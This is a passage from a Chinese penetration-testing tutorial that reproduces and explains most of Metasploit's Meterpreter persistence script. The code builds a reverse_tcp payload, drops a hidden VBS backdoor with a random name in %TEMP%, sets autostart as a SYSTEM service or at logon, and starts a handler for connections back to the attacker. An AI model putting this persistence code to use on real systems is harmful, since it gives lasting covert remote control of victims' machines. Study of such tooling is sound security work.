代码以声明脚本中所使用的一些变量为开始。在其中可以看到某些常见的变量,例如rhost、rport、payload_type等,这些变量在攻击渗透的过程中,我们都已使用过。
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening"],
"-i" => [ true, "The interval in seconds between each
connection attempt"],
"-X" => [ false, "Automatically start the agent when the system boots"],
"-U" => [ false, "Automatically start the agent when the User logs on"],
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
"-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"],
"-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."],
"-T" => [ true, "Alternate executable template to use"], "-P" => [ true, "Payload to use, default is windows/
meterpreter/reverse_tcp."]
)
meter_type = client.platform
接下来该脚本定义了一些不同的参数(标志),可在脚本执行时作为参数传递。其中,值为true的参数是必需的,渗透测试人员必须为其赋值;值为false的参数则是可选的。
# Usage Message Function
#--------------------------------------------------------------------
-----------
def usage
print_line "Meterpreter Script for creating a persistent backdoor on a target host."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#--------------------------------------------------------------------
-----------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
该脚本的这一部分由函数定义组成,前两个函数通常存在于所有的meterpreter脚本中,对脚本的使用起到了简短描述的作用。其中, wrong_meter_version()函数用于确认当前meterpreter版本是否得到该脚本支持,有些脚本不支持旧版本的meterpreter,因此,进行版本确认也是必要的。
# Function for Creating the Payload
#--------------------------------------------------------------------
-----------
def create_payload(payload_type,lhost,lport)
print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}")
payload = payload_type
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
return pay.generate
end
上面的函数用于创建攻击载荷,如果需要创建攻击载荷,可以直接使用本函数(代码重用的好处)。create_payload()函数以两个值作为参数,即payload_typ和lport,回想一下前面的变量声明部分,这两个变量都已经被初始化为相应的默认值。
脚本语句pay = client.framework.payloads.create(payload)允许用户从Metasploit框架中创建攻击载荷。
这段代码中需要注意的是pay.datastore['LHOST'] = lhost和pay.datastore['LPORT'] = lport语句,datastore是hash值,模块或Metasploit框架本身都可能使用这个值来引用程序员或用户控制的值。
# Function for Creating persistent script
#--------------------------------------------------------------------
-----------
def create_script(delay,altexe,raw)
if altexe
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe})
else
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay})
end
print_status("Persistent agent script is #{vbs.length} bytes long")
return vbs
end
上面的函数用于创建持久性脚本,脚本的创建依赖于攻击载荷及其他与脚本一起传递使用的值。
# Function for creating log folder and returning log path
#--------------------------------------------------------------------
-----------
def log_file(log_path = nil)
#Get hostname
host = @client.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
else
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_ path(host + filenameinfo) + ".rc"
return logfile
end
上面的函数用于为脚本创建日志目录,其中,语句 host=@client.sys.config.sysinfo ["Computer"]用于提取被攻陷目标机器的系统信息,目录和文件名是使用Rex::FileUtils库创建的,该库用于执行一些文件和目录操作。
# Function for writing script to target host
#--------------------------------------------------------------------
------
def write_script_to_target(target_dir,vbs)
if target_dir
tempdir = target_dir
else
tempdir = @client.fs.file.expand_path("%TEMP%")
end
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
fd = @client.fs.file.new(tempvbs, "wb")
fd.write(vbs)
fd.close
print_good("Persistent Script written to #{tempvbs}")
file_local_write(@clean_up_rc, "rm #{tempvbs}\n")
return tempvbs
end
上面的函数从向磁盘写入文件开始,将各种后门文件保存到前面相关函数创建的文件夹和目录中,语句Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"为临时文件夹中创建的文件生成随机文本,语句fd.write() 用于将文件写入磁盘中。
# Function for setting multi handler for autocon
#--------------------------------------------------------------------
-----------
def set_handler(selected_payload,rhost,rport)
print_status("Starting connection handler at port #{rport} for #{selected_payload}")
mul = client.framework.exploits.create("multi/handler")
mul.datastore['WORKSPACE'] = @client.workspace
mul.datastore['PAYLOAD'] = selected_payload
mul.datastore['LHOST'] = rhost
mul.datastore['LPORT'] = rport
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = false
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
print_good("Multi/Handler started!")
end
上面的函数用于创建多处理程序,以便回连到攻击方机器,如果需要实现类似功能,这又是一个可以在自己脚本中使用的通用类函数。
# Function to execute script on target and return the PID of the
process
#--------------------------------------------------------------------
-----------
def targets_exec(script_on_target)
print_status("Executing script #{script_on_target}")
proc = session.sys.process.execute("cscript \"#{script_on_ target}\"", nil, {'Hidden' => true})
print_good("Agent executed with PID #{proc.pid}")
file_local_write(@clean_up_rc, "kill #{proc.pid}\n")
return proc.pid
end
上面的函数用于在目标机器上执行脚本,持久性脚本在目标机器上创建vbs文件,必须对其进行执行以便打开连接,Targets_exec()函数用于实现这一目标。如果需要在目标机器上执行脚本,该函数也可以进行代码重用。session.sys.process.execute()负责执行脚本,proc.pid则返回创建的后门进程的ID。
脚本代码中其他部分的含义不再赘述,至此,一个清晰的脚本创建完毕,选项检查也都已经实现。通过这一节的学习,相信读者对执行 meterpreter 脚本时后台发生的操作有了清晰的认识。从渗透测试人员的角度来讲,根据工作场景需要来阅读和修改代码是一项重要的技能,这也是开源框架的妙处所在。用户可以根据需要修改代码,也可以通过分析现有源代码学习技巧和提高能力。